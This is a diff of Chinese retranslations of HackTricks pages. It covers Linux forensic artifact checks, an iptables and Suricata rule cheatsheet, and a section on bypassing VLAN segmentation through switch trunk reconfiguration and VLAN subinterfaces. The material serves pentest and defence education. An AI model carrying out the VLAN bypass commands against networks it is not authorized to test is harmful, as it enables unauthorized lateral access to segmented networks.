### 磁盘成像
|
||||
|
||||
|
@ -206,7 +206,7 @@ find / -type f -executable | grep <something>
|
|||
|
||||
\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
立即获取访问权限:
|
||||
今天获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
||||
|
@ -300,22 +300,22 @@ Linux 系统日志和审计子系统可能在入侵或恶意软件事件中被
|
|||
|
||||
检查可以授予额外权限的文件:
|
||||
|
||||
* 检查 `/etc/sudoers` 是否有意外授予的用户权限。
|
||||
* 检查 `/etc/sudoers.d/` 是否有意外授予的用户权限。
|
||||
* 检查 `/etc/groups` 以识别任何异常的组成员资格或权限。
|
||||
* 检查 `/etc/passwd` 以识别任何异常的组成员资格或权限。
|
||||
* 审查 `/etc/sudoers` 以查找可能被授予的意外用户权限。
|
||||
* 审查 `/etc/sudoers.d/` 以查找可能被授予的意外用户权限。
|
||||
* 检查 `/etc/groups` 以识别任何不寻常的组成员资格或权限。
|
||||
* 检查 `/etc/passwd` 以识别任何不寻常的组成员资格或权限。
|
||||
|
||||
一些应用程序还会生成自己的日志:
|
||||
|
||||
* **SSH**: 检查 _\~/.ssh/authorized\_keys_ 和 _\~/.ssh/known\_hosts_ 以查找未经授权的远程连接。
|
||||
* **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以获取通过 Gnome 应用程序访问的最近文件。
|
||||
* **Gnome 桌面**: 查看 _\~/.recently-used.xbel_ 以查找通过 Gnome 应用程序访问的最近文件。
|
||||
* **Firefox/Chrome**: 检查 _\~/.mozilla/firefox_ 或 _\~/.config/google-chrome_ 中的浏览器历史和下载,以查找可疑活动。
|
||||
* **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,如访问的文件路径和搜索历史。
|
||||
* **VIM**: 检查 _\~/.viminfo_ 以获取使用详情,例如访问的文件路径和搜索历史。
|
||||
* **Open Office**: 检查最近的文档访问,以指示可能被破坏的文件。
|
||||
* **FTP/SFTP**: 检查 _\~/.ftp\_history_ 或 _\~/.sftp\_history_ 中的日志,以查找可能未经授权的文件传输。
|
||||
* **MySQL**: 检查 _\~/.mysql\_history_ 以调查执行的 MySQL 查询,可能揭示未经授权的数据库活动。
|
||||
* **Less**: 分析 _\~/.lesshst_ 以获取使用历史,包括查看的文件和执行的命令。
|
||||
* **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以获取对存储库的更改。
|
||||
* **Git**: 检查 _\~/.gitconfig_ 和项目 _.git/logs_ 以查找对存储库的更改。
|
||||
|
||||
### USB 日志
|
||||
|
||||
|
@ -360,14 +360,14 @@ usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
|||
|
||||
为了对抗这些反取证方法,至关重要的是:
|
||||
|
||||
* 使用 **Autopsy** 进行全面的时间线分析,以可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。
|
||||
* 调查系统 $PATH 中的意外脚本,这可能包括攻击者使用的 shell 或 PHP 脚本。
|
||||
* 检查 `/dev` 中的非典型文件,因为它通常包含特殊文件,但可能存放与恶意软件相关的文件。
|
||||
* 搜索名称为 ".. "(点点空格)或 "..^G"(点点控制-G)的隐藏文件或目录,这可能隐藏恶意内容。
|
||||
* 使用命令 `find / -user root -perm -04000 -print` 识别 setuid root 文件。这将找到具有提升权限的文件,可能被攻击者滥用。
|
||||
* 检查 inode 表中的删除时间戳,以发现大规模文件删除,可能表明存在 rootkit 或木马。
|
||||
* 在识别一个恶意文件后,检查连续的 inode,以寻找附近的恶意文件,因为它们可能被放在一起。
|
||||
* 检查常见的二进制目录 (_/bin_、_/sbin_) 中最近修改的文件,因为这些文件可能被恶意软件更改。
|
||||
* **进行彻底的时间线分析**,使用像 **Autopsy** 这样的工具可视化事件时间线,或使用 **Sleuth Kit** 的 `mactime` 获取详细的时间线数据。
|
||||
* **调查系统 $PATH 中的意外脚本**,这些脚本可能包括攻击者使用的 shell 或 PHP 脚本。
|
||||
* **检查 `/dev` 中的非典型文件**,因为它通常包含特殊文件,但可能存放与恶意软件相关的文件。
|
||||
* **搜索隐藏文件或目录**,名称可能为 ".. "(点点空格)或 "..^G"(点点控制-G),这些可能隐藏恶意内容。
|
||||
* **识别 setuid root 文件**,使用命令:`find / -user root -perm -04000 -print`。这将找到具有提升权限的文件,可能被攻击者滥用。
|
||||
* **检查 inode 表中的删除时间戳**,以发现大规模文件删除,可能表明存在 rootkit 或木马。
|
||||
* **在识别到一个恶意文件后,检查连续的 inode**,因为它们可能被放置在一起。
|
||||
* **检查常见的二进制目录** (_/bin_、_/sbin_) 中最近修改的文件,因为这些文件可能被恶意软件更改。
|
||||
````bash
|
||||
# List recent files in a directory:
|
||||
ls -laR --sort=time /bin```
|
||||
|
@ -376,7 +376,7 @@ ls -laR --sort=time /bin```
|
|||
ls -lai /bin | sort -n```
|
||||
````
|
||||
{% hint style="info" %}
|
||||
注意,一个**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它的创建和修改时间与同一文件夹中其他文件的**时间相同**,但**inode**却**意外地更大**,那么该**文件的时间戳被修改**了。
|
||||
注意,一个**攻击者**可以**修改**时间以使**文件看起来**是**合法的**,但他**无法**修改**inode**。如果你发现一个**文件**显示它的创建和修改时间与同一文件夹中其他文件的时间**相同**,但**inode**却**意外地更大**,那么该**文件的时间戳被修改了**。
|
||||
{% endhint %}
|
||||
|
||||
## 比较不同文件系统版本的文件
|
||||
|
@ -385,7 +385,7 @@ ls -lai /bin | sort -n```
|
|||
|
||||
为了比较文件系统版本并确定更改,我们使用简化的`git diff`命令:
|
||||
|
||||
* **查找新文件**,比较两个目录:
|
||||
* **要查找新文件**,比较两个目录:
|
||||
```bash
|
||||
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||
```
|
||||
|
@ -413,26 +413,27 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
|||
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
|
||||
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
|
||||
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
|
||||
* **书籍:Linux系统的恶意软件取证实用指南:数字取证实用指南**
|
||||
* **书籍:Linux系统恶意软件取证实用指南:数字取证实用指南**
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零到英雄学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
你在一家**网络安全公司**工作吗?你想在HackTricks上看到你的**公司广告**吗?或者你想访问**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注我。**
|
||||
|
||||
**通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR分享你的黑客技巧。**
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
使用[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)轻松构建和**自动化工作流程**,由世界上**最先进**的社区工具提供支持。\
|
||||
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
|
||||
今天就获取访问权限:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Suricata & Iptables 备忘单
|
||||
# Suricata & Iptables cheatsheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在 HackTricks 中看到您的**公司广告**? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT 收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Iptables
|
||||
|
||||
### 链
|
||||
### Chains
|
||||
|
||||
在 iptables 中,规则列表被称为链,按顺序处理。其中,有三个主要链是普遍存在的,还有像 NAT 这样的其他链可能会根据系统的能力而得到支持。
|
||||
在iptables中,称为链的规则列表是按顺序处理的。在这些链中,三条主要链是普遍存在的,其他链如NAT可能根据系统的能力得到支持。
|
||||
|
||||
- **Input 链**:用于管理传入连接的行为。
|
||||
- **Forward 链**:用于处理不是发送到本地系统的传入连接。这对于充当路由器的设备是典型的,其中接收到的数据应转发到另一个目的地。当系统涉及路由、NAT 或类似活动时,此链主要相关。
|
||||
- **Output 链**:专用于调节传出连接。
|
||||
- **Input Chain**: 用于管理传入连接的行为。
|
||||
- **Forward Chain**: 用于处理不指向本地系统的传入连接。这对于充当路由器的设备是典型的,其中接收到的数据旨在转发到另一个目的地。当系统参与路由、NAT或类似活动时,这条链是相关的。
|
||||
- **Output Chain**: 专用于调节传出连接。
|
||||
|
||||
这些链确保网络流量的有序处理,允许指定详细规则来管理数据进入、通过和离开系统的流动。
|
||||
这些链确保网络流量的有序处理,允许指定详细规则来管理数据流入、流经和流出系统的方式。
|
||||
```bash
|
||||
# Delete all rules
|
||||
iptables -F
|
||||
|
@ -129,68 +132,68 @@ systemctl daemon-reload
|
|||
```
|
||||
### 规则定义
|
||||
|
||||
[来自文档:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 一个规则/签名由以下部分组成:
|
||||
[来自文档:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) 一条规则/签名由以下部分组成:
|
||||
|
||||
* **动作**,确定规则匹配时会发生什么。
|
||||
* **动作**,决定当签名匹配时发生什么。
|
||||
* **头部**,定义规则的协议、IP地址、端口和方向。
|
||||
* **规则选项**,定义规则的具体内容。
|
||||
* **规则选项**,定义规则的具体细节。
|
||||
```bash
|
||||
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;)
|
||||
```
|
||||
#### **有效操作包括**
|
||||
#### **有效的操作是**
|
||||
|
||||
* alert - 生成警报
|
||||
* pass - 停止对数据包的进一步检查
|
||||
* **drop** - 丢弃数据包并生成警报
|
||||
* **reject** - 向匹配数据包的发送方发送RST/ICMP不可达错误。
|
||||
* **reject** - 向匹配数据包的发送者发送 RST/ICMP 不可达错误。
|
||||
* rejectsrc - 与 _reject_ 相同
|
||||
* rejectdst - 向匹配数据包的接收方发送RST/ICMP错误数据包。
|
||||
* rejectboth - 向对话的双方发送RST/ICMP错误数据包。
|
||||
* rejectdst - 向匹配数据包的接收者发送 RST/ICMP 错误数据包。
|
||||
* rejectboth - 向对话的双方发送 RST/ICMP 错误数据包。
|
||||
|
||||
#### **协议**
|
||||
|
||||
* tcp(用于tcp流量)
|
||||
* tcp (用于 tcp 流量)
|
||||
* udp
|
||||
* icmp
|
||||
* ip(ip代表‘all’或‘any’)
|
||||
* _layer7协议_: http, ftp, tls, smb, dns, ssh...(更多内容请参阅[**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
* ip (ip 代表“所有”或“任何”)
|
||||
* _layer7 协议_: http, ftp, tls, smb, dns, ssh... (更多内容见 [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html))
|
||||
|
||||
#### 源地址和目标地址
|
||||
|
||||
支持IP范围、否定和地址列表:
|
||||
它支持 IP 范围、否定和地址列表:
|
||||
|
||||
| 示例 | 含义 |
|
||||
| ------------------------------ | ---------------------------------------- |
|
||||
| ! 1.1.1.1 | 除了1.1.1.1之外的所有IP地址 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | 除了1.1.1.1和1.1.1.2之外的所有IP地址 |
|
||||
| $HOME\_NET | 您在yaml中设置的HOME\_NET |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET而不是HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24,但不包括10.0.0.5 |
|
||||
| 示例 | 意义 |
|
||||
| ---------------------------- | -------------------------------------- |
|
||||
| ! 1.1.1.1 | 除 1.1.1.1 以外的所有 IP 地址 |
|
||||
| !\[1.1.1.1, 1.1.1.2] | 除 1.1.1.1 和 1.1.1.2 以外的所有 IP 地址 |
|
||||
| $HOME\_NET | 您在 yaml 中设置的 HOME\_NET |
|
||||
| \[$EXTERNAL\_NET, !$HOME\_NET] | EXTERNAL\_NET 和非 HOME\_NET |
|
||||
| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24,除了 10.0.0.5 |
|
||||
|
||||
#### 源端口和目标端口
|
||||
|
||||
支持端口范围、否定和端口列表
|
||||
它支持端口范围、否定和端口列表
|
||||
|
||||
| 示例 | 含义 |
|
||||
| --------------- | -------------------------------------- |
|
||||
| any | 任何地址 |
|
||||
| \[80, 81, 82] | 端口80、81和82 |
|
||||
| \[80: 82] | 从80到82的范围 |
|
||||
| \[1024: ] | 从1024到最高端口号 |
|
||||
| !80 | 除了80之外的所有端口 |
|
||||
| \[80:100,!99] | 从80到100的范围,但排除99 |
|
||||
| \[1:80,!\[2,4]] | 从1到80的范围,但排除端口2和4 |
|
||||
| 示例 | 意义 |
|
||||
| ------------- | -------------------------------------- |
|
||||
| any | 任何地址 |
|
||||
| \[80, 81, 82] | 端口 80、81 和 82 |
|
||||
| \[80: 82] | 从 80 到 82 的范围 |
|
||||
| \[1024: ] | 从 1024 到最高端口号 |
|
||||
| !80 | 除 80 以外的所有端口 |
|
||||
| \[80:100,!99] | 从 80 到 100 的范围,但排除 99 |
|
||||
| \[1:80,!\[2,4]] | 从 1 到 80 的范围,除了端口 2 和 4 |
|
||||
|
||||
#### 方向
|
||||
|
||||
可以指示应用通信规则的方向:
|
||||
可以指示所应用的通信规则的方向:
|
||||
```
|
||||
source -> destination
|
||||
source <> destination (both directions)
|
||||
```
|
||||
#### 关键词
|
||||
|
||||
在Suricata中有**数百个选项**可用于搜索您正在寻找的**特定数据包**,如果发现有趣的内容,将在此处提及。查看[**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)获取更多信息!
|
||||
在Suricata中有**数百个选项**可用于搜索您所寻找的**特定数据包**,如果发现有趣的内容,这里会提到。请查看[**文档**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)以获取更多信息!
|
||||
```bash
|
||||
# Meta Keywords
|
||||
msg: "description"; #Set a description to the rule
|
||||
|
@ -231,14 +234,17 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;)
|
|||
## Drop by port
|
||||
drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,36 +1,39 @@
|
|||
# 侧向 VLAN 分段绕过
|
||||
# Lateral VLAN Segmentation Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在 HackTricks 中做广告**吗? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
如果可以直接访问交换机,则可以绕过 VLAN 分段。这涉及重新配置连接的端口为干道模式,为目标 VLAN 建立虚拟接口,并根据情况设置 IP 地址,可以是动态(DHCP)或静态(**有关详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))**。
|
||||
如果可以直接访问交换机,则可以绕过VLAN分段。这涉及将连接端口重新配置为干道模式,为目标VLAN建立虚拟接口,并根据场景设置IP地址(动态(DHCP)或静态)(**有关更多详细信息,请查看 [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9))。**
|
||||
|
||||
首先,需要识别特定连接端口。通常可以通过 CDP 消息或通过**包含**掩码搜索端口来实现。
|
||||
最初,需要识别特定的连接端口。这通常可以通过CDP消息完成,或通过**include**掩码搜索端口。
|
||||
|
||||
**如果 CDP 不可用,可以尝试通过搜索 MAC 地址来进行端口识别**:
|
||||
**如果CDP不可操作,可以尝试通过搜索MAC地址进行端口识别**:
|
||||
```
|
||||
SW1(config)# show mac address-table | include 0050.0000.0500
|
||||
```
|
||||
在切换到干线模式之前,应编制现有VLAN的列表,并确定它们的标识符。然后将这些标识符分配给接口,通过干线访问各种VLAN。例如,正在使用的端口与VLAN 10相关联。
|
||||
在切换到 trunk 模式之前,应编制现有 VLAN 的列表,并确定它们的标识符。然后将这些标识符分配给接口,从而通过 trunk 访问各种 VLAN。例如,正在使用的端口与 VLAN 10 相关联。
|
||||
```
|
||||
SW1# show vlan brief
|
||||
```
|
||||
**切换到干线模式需要进入接口配置模式**:
|
||||
**切换到干线模式需要进入接口配置模式**:
|
||||
```
|
||||
SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
切换到干线模式将暂时中断连接,但随后可以恢复。
|
||||
切换到干道模式会暂时中断连接,但随后可以恢复。
|
||||
|
||||
然后创建虚拟接口,分配VLAN ID,并激活:
|
||||
```bash
|
||||
|
@ -50,28 +53,29 @@ sudo dhclient -v eth0.20
|
|||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
### Example for manually setting a static IP address on an interface (VLAN 10):
|
||||
|
||||
### 在接口上手动设置静态IP地址的示例(VLAN 10):
|
||||
在接口上手动设置静态IP地址的示例(VLAN 10):
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
```
|
||||
Connectivity is tested by initiating ICMP requests to the default gateways for VLANs 10, 20, 50, and 60.
|
||||
连接性通过向VLAN 10、20、50和60的默认网关发起ICMP请求进行测试。
|
||||
|
||||
Ultimately, this process enables bypassing of VLAN segmentation, thereby facilitating unrestricted access to any VLAN network, and setting the stage for subsequent actions.
|
||||
最终,这个过程使得绕过VLAN分段成为可能,从而促进对任何VLAN网络的无限制访问,并为后续操作奠定基础。
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,59 @@
|
|||
# 通过EvilSSDP欺骗SSDP和UPnP设备
|
||||
